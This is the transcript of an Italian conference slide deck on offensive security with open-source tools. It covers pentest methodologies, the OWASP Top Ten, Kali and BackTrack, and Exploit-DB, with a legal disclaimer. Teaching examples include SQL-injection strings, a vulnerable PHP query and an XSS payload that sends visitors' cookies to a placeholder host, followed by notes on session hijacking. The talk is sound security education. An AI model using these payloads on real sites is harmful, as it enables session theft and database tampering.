Offensive security con strumenti open source
-
Upload
pordenone-lug -
Category
Education
-
view
680 -
download
2
description
Transcript of Offensive security con strumenti open source
Andrea Zwirner
[email protected] @AndreaZwirner
Pordenone Fiere
Linux Arena 2013
Offensive Security con strumentiOpen Source
Andrea Zwirner● Master di certificazione OSCP – Offensive Security Certified Professional
● Professionista nel campo della sicurezza informatica: “security auditor e penetration tester ”
● Fondatore di Linkspirit● Security auditing, security advising e penetration testing● Training in corsi di sicurezza informatica
● Articolista e revisore per la rivista di settore PenTest Magazine
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
2
● Appassionato di sicurezza informatica ed Open Source
● Collaborazione con ISECOM (Instiute for Security and Open Methodologies)
● Collaborazione al progetto Hacker Highschool – Security awareness for teens
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
3Andrea Zwirner
Cos'è la sicurezza informatica – versione WikipediaRamo dell'informatica che si occupa
● dell'analisi delle vulnerabilità, dei rischi e delle minacce che possono affliggere un sistema informatico
● della protezione dell'integrità del software di un sistema informatico
● della protezione dei dati contenuti in un sistema informatico o da esso scambiati
● della protezione di un sistema informatico da attacchi di software malevoli
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
4
Cos'è la sicurezza informaticaScienza inesatta che si occupa di garantire
● C O N F I D E N Z I A L I T A 'C O N F I D E N Z I A L I T A '
● I N T E G R I T A 'I N T E G R I T A '
● D I S P O N I B I L I T A 'D I S P O N I B I L I T A '
dell'informazione.
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
5
Esempi di attacchi alla confidenzialità dell'informazione● Ottenere accesso ad informazioni senza disporre delle autorizzazioni necessarie
● Esempi
● leggere dati in transito sul canale di comunicazione (sniffing)
● decodificare dati crittografati mediante attacchi alle chiavi (dizionari, brute force, rainbow tables)
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
6
Esempi di attacchi all'integrità dell'informazione● Ottenere la possibilità di alterare o eliminare informazioni senza disporre delle autorizzazioni necessarie
● Esempi
● modificare o alterare dati in transito sul canale di comunicazione
● Esempio eccezionale è stato sslstrip di Moxie Marlinspike
● modificare o eliminare dati residenti nel sistema
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
7
Esempi di attacchi alla disponibilità dell'informazione● Ottenere la possibilità di interrompere l'erogazione di un servizio o bloccare un sistema
● Esempi
● alterare o eliminare dati o configurazioni di importanza critica per il funzionamento del sistema;
● sferrare attacchi mirati ad esaurire le risorse computazionali o di rete del sistema (DoS, DDoS);
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
8
Note legali
Reato di accesso abusivo ad un sistema informatico o telematico
● Punito dall'art. 615-ter del Codice Penale
● Pena prevista: da 1 a 3 anni di reclusione
● Aggravante per il danneggiamento dei dati o interruzione, anche parziale, del sistema:
● Pena prevista: da 1 a 5 anni di reclusione
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
9
Esclusione di responsabilitàQuanto descritto in questa presentazione può
essere applicato solo su sistemi informatici di
proprietà o dietro rilascio di autorizzazione
scritta del legale proprietario degli stessi.
Il relatore non si assume alcuna responsabilità
di qualunque eventuale abuso delle informazioni
riportate in questa presentazione.
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
10
Sicurezza informatica difensiva – descrizione● Definizione di policy di accesso a servizi e informazioni
● quali permessi servono per fare cosa
● Difesa perimetrale dell'infrastruttura
● configurazione delle apparecchiature di rete mediante un modello di progettazione architetturale ritenuto sicuro
● Difesa interna dell'infrastruttura
● Installazione di apparecchiature e software anti intrusione ed infezione
● Formazione degli utenti finali (troppo raramente)
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
11
Sicurezza informatica difensiva – effetti percepiti● Forte senso di sicurezza indotto dalla qualità percepita
● ottime campagne di marketing dei produttori
● ingenti costi sostenuti
● un sacco di nuove lucine lampeggianti in sala dati
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
12
Sicurezza informatica difensiva – effetti reali● Mancata rilevazione di errori di configurazione
● Obsolescenza delle metodologie di difesa implementate
● Rapida obsolescenza delle apparecchiature installate
● Scoperta di bug di sicurezza e produzione relativi exploit per i servizi erogati
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
13
Sicurezza informatica difensiva – effetti reali● Mancata rilevazione di errori di configurazione
● Obsolescenza delle metodologie di difesa implementate
● Rapida obsolescenza delle apparecchiature installate
● Scoperta di bug di sicurezza e produzione relativi exploit per i servizi erogati
C O N C L U S I O N EC O N C L U S I O N E
VENGONO LASCIATE MILLE PORTE APERTEVENGONO LASCIATE MILLE PORTE APERTE
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
14
● Come prima, l'infrastruttura viene progettata ed implementata con criterio, applicando tutte le migliori prassi
Sicurezza informatica offensiva
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
15
● Come prima, l'infrastruttura viene progettata ed implementata con criterio, applicando tutte le migliori prassi
P E R O ' P O I S I V E R I F I C A C H EP E R O ' P O I S I V E R I F I C A C H E
T U T T O S I A E F F E T T I V A M E N T E S I C U R OT U T T O S I A E F F E T T I V A M E N T E S I C U R O
Sicurezza informatica offensiva
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
16
CI SI METTE NEI PANNI DELL'ATTACCANTE E SI CERCA DICI SI METTE NEI PANNI DELL'ATTACCANTE E SI CERCA DI
VIOLARE IL PROPRIO SISTEMA PER TROVARNE LE FALLEVIOLARE IL PROPRIO SISTEMA PER TROVARNE LE FALLE
● Il sistema informatico viene quindi verificato da uno o più esperti (penetration tester) che utilizzano gli stessi
● Metodologie
● Strumenti
utilizzati dagli attaccanti reali al fine di trovarne le vulnerabilità
Sicurezza informatica offensiva: la metodologia
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
17
OSSTMM Open Source Security Testing Methodology Manual Licenza: Creative Commons 3.0
PTES Penetration Testing Execution Standard Licenza: GNU Free Documentation License 1.2
OWASP Open Web Application Security Project Licenza: Creative Commons 3.0
Metodologie Open Source per il penetration testing
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
18
● Sviluppato da ISECOM in oltre 10 anni (attualmente ver. 3)
● Standard internazionale de-facto per le verifiche di sicurezza operativa (di pressoché qualunque cosa!)
● Utilizzato in tutto il mondo per security audit di sistemi di governi, pubblica amministrazione, scuole ed aziende di ogni dimensione
● In fase di standardizzazione da parte dell'ISO ad integrare la famiglia di standard di sicurezza delle informazioni ISO/IEC 27000
● 27001 – Information security management systems requirements
● 27002 – Code of practice for information security management
Open Source Security Testing Methodology Manual
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
19
● Standard nuovo ed in fase di sviluppo, ma già molto utilizzato in ambito IT Security
● Definisce linee guida utili sia per il mondo IT sia per quello Business
● Offre al penetration tester uno standard solido per il corretto svolgimento del security audit
● Offre al mondo business solidi criteri di valutazione sulla qualità del lavoro proposto e svolto
● Apre un canale di comunicazione omogeneo tra i due mondi definendo un linguaggio comune
Penetration Testing Execution Standard
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
20
● Ricognizione di base (information gathering, enumeration)
● Ricostruzione della struttura interna dell'azienda e della rete
● Ricognizione specifica su persone e macchine enumerate
● Ricerca di errori nella configurazione di apparati o servizi
● Stesura della mappa delle vulnerabilità
● Ricerca, scrittura ed esecuzione di exploit
● Raccolta delle evidenze (proof of concept – PoC)
● Stesura del report
Il processo di audit - compendio OSSTMM e PTES
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
21
● Associazione senza scopo di lucro
● Missione: aumentare la visibilità relativa la sicurezza del software al fine di permettere di prendere decisioni informate ad imprese ed individui
● Attiva nel campo della ricerca e divulgazione della cultura della sicurezza partecipando a conferenze in tutto il mondo
● Attualmente gestisce oltre 20 progetti legati alla sicurezza relativi a linguaggi, librerie, API, best practices, auditing, etc, suddivisi in
● PROTECT – tools e documenti relativi la protezione da minacce● DETECT – tools e documenti relativi la rilevazione di difetti● LIFE CYCLE – tools e documenti per implementare attività di
sicurezza nel ciclo di sviluppo del software
Open Web Application Security Project
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
22
● Spiega come effettuare web application penetration test rapidi, mirati ed efficaci
● Indirizzata a sviluppatori e beta tester
● Rilasciata in PDF, ma mantenuta in modalità wiki, in maniera da permetterne il costante aggiornamento
● Raccoglie il consenso di migliaia di esperti nel mondo circa le modalità di rilevazione di minacce di sicurezza nel software
OWASP – Testing Project
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
23
● Descrive le dieci vulnerabilità valutate come più rischiose (non comuni) in ambito web application
● Finalizzato ad educare sviluppatori, designer, manager ed organizzazioni circa le problematiche trattate
● Fornisce linee guida per la verifica della presenza delle problematiche selezionate e come prevenirle
OWASP – Top Ten Project
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
24
● A1: Injection
● A2: Broken Authentication and Session Management
● A3: Cross-Site Scripting (XSS)
● A4: Insecure Direct Object References
● A5: Security Misconfiguration
● A6: Sensitive Data Exposure
● A7: Missing Function Level Access Control
● A8: Cross-Site Request Forgery (CSRF)
● A9: Using Known Vulnerable Components
● A10: Unvalidated Redirects and Forwards
OWASP Top Ten 2013 – RC1
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
25
● Avviene quando un'applicazione invia dati non fidati ad un interprete
● Esempi: SQL, LDAP, chiamate al S.O., argomenti a comandi, etc
A1: Injection
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
26
● Avviene quando un'applicazione invia dati non fidati ad un interprete
● Esempi: SQL, LDAP, chiamate al S.O., argomenti a comandi, etc
● Esempio – SQL Injection superclassica (ma si trova ancora, molto!)
$nome = $_POST['nome'];$query = "SELECT * FROM t WHERE nome='" + $nome + "'";$result = mysql_query($query);
A1: Injection
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
27
● Avviene quando un'applicazione invia dati non fidati ad un interprete
● Esempi: SQL, LDAP, chiamate al S.O., argomenti a comandi, etc
● Esempio – SQL Injection superclassica (ma si trova ancora, molto!)
$nome = $_POST['nome'];$query = "SELECT * FROM t WHERE nome='" + $nome + "'";$result = mysql_query($query);
Pacifico, ma cosa succederebbe se io mi chiamassi
Andrea' OR 1=1 --?
A1: Injection
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
28
● Avviene quando un'applicazione invia dati non fidati ad un interprete
● Esempi: SQL, LDAP, chiamate al S.O., argomenti a comandi, etc
● Esempio – SQL Injection superclassica (ma si trova ancora, molto!)
$nome = $_POST['nome'];$query = "SELECT * FROM t WHERE nome='" + $nome + "'";$result = mysql_query($query);
Pacifico, ma cosa succederebbe se io mi chiamassi
Andrea' OR 1=1 --?
A1: Injection
SELECT * FROM t WHERE nome= 'Andrea' OR 1=1 --'
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
29
Injection fun
Pronto, qui è la scuola di suo figlio, abbiamo qualche problema informatico.Oh, mi dica... Robert ha mica rotto qualcosa?In un certo senso... Senta, suo figlio si chiama veramente
Robert'); DROP TABLE Students; --?…
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
30
Injection fun
ZU 0666',0,0); DROP DATABASE TABLICE; --
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
31
sqlmap - Open Source SQL Injection● Pieno supporto per MySQL, Oracle, PostgreSQL,
Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase e SAP MaxDB
● Supporto per le tecniche di SQL Injection:
● Boolean based blind, time based blind, UNION query, error-based, stacked query e out of band
● Possibilità di tracciare l'intera struttura dei database serviti dal motore
● Supporto per dump di intere tabelle, range di record o colonne specifiche
● Supporto per il download/upload di qualunque file sul server nei casi di MySQL, PostgreSQL o Microsoft SQL Server
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
32
● Avviene quando un'applicazione web include in una pagina dati forniti da un utente (ogni social network) senza averli validati.
● E' un attacco client-side (JavaScript, ActiveX, Java, VBScript, etc)
● Ne esistono di tre tipi:
● Stored XSS – persistenti a database (forum, log, campi di commento, etc)
● Reflected XSS – altri vettori d'attacco (es. email) che fanno effettuare la richiesta HTTP forgiata in maniera da ottenere la risposta che esegue il codice client-side
● DOM based – che modificano l'ambinente DOM (Document Object Model) del browser
A3: Cross-Site Scripting (XSS)
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
33
● Esempio classico (ma, di nuovo, ancora funzionante e molto in voga!)
● Qualunque form il cui contenuto (non validato) venga poi servito in una pagina
● Nome: Andrea● Cognome: <script>alert('XSS');</script>
A3: Cross-Site Scripting (XSS)
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
34
● Esempio classico (ma, di nuovo, ancora funzionante e molto in voga!)
● Qualunque form il cui contenuto (non validato) venga poi servito in una pagina
● Nome: Andrea● Cognome: <script>alert('XSS');</script>
● La pagina html risultante quindi conterrà qualcosa tipo:
<html>...
<p>Andrea <script>alert('XSS');</script> è passato di qui.</p>
...</html>
A3: Cross-Site Scripting (XSS)
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
35
Ed ecco il risultato: abbiamo appena eseguito codice lato client sul computer di ogni visitatore del sito
A3: Cross-Site Scripting (XSS)
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
36
E' un attacco così famoso che ha anche un profilo professionale su LinkedIn
A3: Cross-Site Scripting (XSS)
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
37
● Cosa sarebbe successo se nel campo avessimo messo un bel:
<script>new Image.src=”http://IP/pippo.php
?cookie= + document.cookie +&location= + document.location”
</script>
A3: Cross-Site Scripting (XSS)
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
38
● Cosa sarebbe successo se nel campo avessimo messo un bel:
<script>new Image.src=”http://IP/pippo.php
?cookie= + document.cookie +&location= + document.location”
</script>
AVREMMO RUBATO LA SESSIONE AL VISITATOREAVREMMO RUBATO LA SESSIONE AL VISITATORE
Ci siamo fatti spedire i cookie relativi il documento aperto, ossia i parametri relativi la sua sessione sul sito
A3: Cross-Site Scripting (XSS)
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
39
● tamperdata
● Addon per Firefox che permette di vedere e modificare gli header HTTP/HTTPS ed i parametri POST
● firebug
● Tool che si integra con firefox per il debugging delle pagine web. Permette di modificare, debuggare e monitorare CSS, HTML, JavaScript e cookie in modalità live
● Usando queste estensioni di firefox possiamo impostarci i parametri di sessione dell'utente, quindi andare a visitare il sito impersonandolo.
(ecco perché il logout è importante)
Tamperdata, firebug
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
40
Back|Track Linux BackBox Linux Kali Linux
● Distribuzioni Linux appositamente sviluppate per l'esecuzione di test di sicurezza offensiva (ed altro: analisi forense, OSINT)
● Sono toolbox ordinati (in maniera maniacale) di strumenti Open Source (e non) utilizzabili nell'ambito del penetration test
Strumenti Open Source per il penetration testing
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
41
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
42
● Distribuzione Linux Live installabile, per attività di penetration test, intelligence e forensics analisys
● Basata su Ubuntu e progettata per essere leggera e prestante
● Meno matura di Back|Track, ma molto promettente
● Più aperta di Back|Track dal punto di vista dello sviluppo
BackBox Linux – introduzione
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
43
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
44
● Basata prima su Slax Linux, portata in seguito sotto Ubuntu
● Distribuzione Linux Live installabile, per attività di penetration test, intelligence e forensics analisys con oltre 600 tools diponibili
● Aderente agli standard OSSTMM, OWASP ed OSINT
● Open Source, ma con team di sviluppo piuttosto chiuso (sviluppata e gestita da due società del settore)
● Utilizzata da agenzie di intelligence e da reparti governativi della difesa, oltre che da centinaia di migliaia di professionisti, ricercatori ed appassionati di sicurezza in tutto il mondo
Back|Track Linux – introduzione
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
45
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
46
● Evoluzione di Back|Track Linux
● Derivata da Debian Wheezy, forka meno pacchetti possibile, aderisce ai suoi standard di sviluppo, ne eredita le linee giuda
● Aderisce al FHS (Filesystem Hierarchy Standard) – non più /pentest
● Kernel patch per injection – aircrack-ng
● Supporto per ARMEL e ARMHF
● Raspberry Pi – ODROID U2 – Samsung Chromebook ed altri
● Ottima documentazione e comunità attiva
Kali Linux – penetration testing redefined
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
47
The Exploit Database
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
48
● Raccoglie exploit per ogni falla di sicurezza rilevata per ogni software su ogni piattaforma e la indicizza in maniera efficace per la navigazione
● Contiene exploit in formato sorgente (Open Source) indicizzati in base a piattaforma, tipologia (remota/locale), software di riferimento ed altri
● Contiene oltre 100 documenti relativi la sicurezza offensiva in ogni ambito esistente (server, software, API, mobile, etc)
● Un punto di riferimento per penetration tester, ricercatori ed appassionati di sicurezza offensiva (ed hacker..)
The Exploit Database – introduzione
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
49
Back|Track ed integrazione con Exploit-DB
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
50
● Come per ogni altro campo dell'informatica, anche per la sicurezza il contributo dato dall'Open Source è stato incommensurabile.
● La filosofia di condivisione della conoscenza dell'Open Source ha portato a:
● definizione di metodologie tanto efficaci che sono diventati standard internazionali
● sviluppo di centinaia e software e tool aderenti agli standard ed utilizzati da professionisti, aziende e governi
● divulgazione di una cultura per la sicurezza e la tutela della propria privacy in rete
Morale della favola
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
51
Domande? Dubbi? Perplessità?
Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source
52
Andrea Zwirner
[email protected] @AndreaZwirner
Pordenone Fiere
Linux Arena 2013
Offensive Security con strumentiOpen Source